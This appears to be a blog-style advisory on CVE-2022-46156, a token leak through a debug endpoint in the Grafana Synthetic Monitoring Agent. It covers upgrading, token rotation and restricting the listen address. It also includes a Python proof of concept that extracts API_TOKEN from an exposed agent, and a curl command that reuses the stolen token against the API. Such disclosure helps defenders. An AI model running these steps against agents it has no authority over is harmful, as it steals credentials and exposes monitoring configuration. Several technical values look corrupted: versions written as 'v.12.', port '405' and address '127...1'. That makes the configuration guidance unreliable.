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Introduction

If you’re using the Grafana Synthetic Monitoring Agent, you care about monitoring the health and performance of your network. But users running agents before version .12. need to pay close attention to a serious vulnerability: CVE-2022-46156. In simple terms, this issue can expose your API authentication token via a debug web endpoint, possibly letting attackers snoop on your synthetic monitoring checks.

In this long-read guide, you'll discover how this happened, how it can be abused, and, most importantly, how to fix and protect your setup. All details are in plain American language, with real-life code snippets and actionable steps. Let’s jump right in.

What is the Synthetic Monitoring Agent?

Grafana's Synthetic Monitoring lets you actively probe your HTTP/TCP/ICMP services using distributed “agents”. These agents run on your network and report back to the centralized monitoring system, helping you spot issues before your users do.

To secure communication, each agent uses an authentication token (API_TOKEN) when talking to the central API.

Affected versions: Synthetic Monitoring Agent < v.12.

Root cause: The agent exposes the sensitive API token via a web (debug) endpoint. Anyone who can hit this endpoint in your network (or potentially beyond, if exposed) can steal your token.

They can see targets, probe definitions, and configurations associated with that agent.

- Good news: The API is designed so only one agent can use a token at a time—so actively stealing or modifying checks is harder, but not impossible if the agent loses connection.

Original References

- Grafana Security Advisory
- NVD CVE Detail
- GitHub Issue

How Can the Attack Work?

Imagine you’re running a Synthetic Monitoring agent on your local network, possibly exposing its debug web interface to more than just localhost. If an attacker discovers the debug endpoint, they can pull sensitive info—notably the API token.

The agent runs an HTTP server, typically on port 405 (configurable)

GET http://<agent-ip>:405/debug/vars

Within the response, you may find something like

{
  ...
  "API_TOKEN": "sm_1A2b3C4d5E6f7G8h9Ij..."
  ...
}

3. Use the Token Against the API

With this token, the attacker can send authenticated requests to the Grafana Synthetic Monitoring API and fetch the list of monitoring checks:

curl -H "Authorization: Bearer sm_1A2b3C4d5E6f7G8h9Ij..." \
    https://synthetic-monitoring.yourdomain.com/api/public/agents/checks

Agent configuration data

They cannot easily register as the same agent unless your legitimate agent disconnects—so the risk is *mostly about confidentiality*, not control.

1. Update Immediately

Upgrade to Synthetic Monitoring Agent v.12. or later.

Download here:  
Latest agent releases

2. Rotate Your Token

After updating, you must rotate the agent token in your Synthetic Monitoring configuration. Old tokens might have been compromised.

How to rotate token

- Log in to your Grafana Cloud/Synthetic Monitoring dashboard.

Check your agent’s configuration file (especially for DEB/RPM installs)

sudo nano /etc/synthetic-monitoring/synthetic-monitoring-agent.conf

Old config

API_TOKEN=sm_1A2b3C4d5E6f7G8h9Ij...

New config variable (post v.12.)

SM_AGENT_API_TOKEN=sm_9i8h7G6f5E4d3C2b1A...

Don't forget to restart your agent after changes!

sudo systemctl restart synthetic-monitoring-agent

4. Limit the Debug Endpoint Exposure

If you’re stuck on an old version: Restrict the listening address.

In your agent command line

./synthetic-monitoring-agent -listen-address localhost:405

Or in your systemd service file

ExecStart=/usr/bin/synthetic-monitoring-agent -listen-address=127...1:405

This ensures only local users can access the debug endpoint.

Python PoC to extract the API_TOKEN from an exposed agent

import requests

host = 'http://192.168.1.100:405';
resp = requests.get(f'{host}/debug/vars')
if 'API_TOKEN' in resp.text:
    print(resp.json()['API_TOKEN'])
else:
    print('API_TOKEN not found')

*Do not use this against any system you do not own or have permission to test.*

[x] Is your agent’s debug web endpoint not exposed to the public network?

If yes to all, you're safe. If not: update, rotate, restrict—today.

Final Thoughts

CVE-2022-46156 is a reminder that even “internal-only” services can leak sensitive data if endpoints aren’t hardened. Luckily, upgrading and rotating tokens is easy—and you should review any service config that exposes debug endpoints to your LAN or wider networks. Synthetic Monitoring agents are meant to probe *others*, not become a probe themselves!

Stay safe, and monitor responsibly.

References:  
- Official Grafana Security Advisory  
- NVD: CVE-2022-46156  
- GitHub: synthetic-monitoring-agent  

Timeline

Published on: 11/30/2022 22:15:00 UTC
Last modified on: 12/05/2022 14:58:00 UTC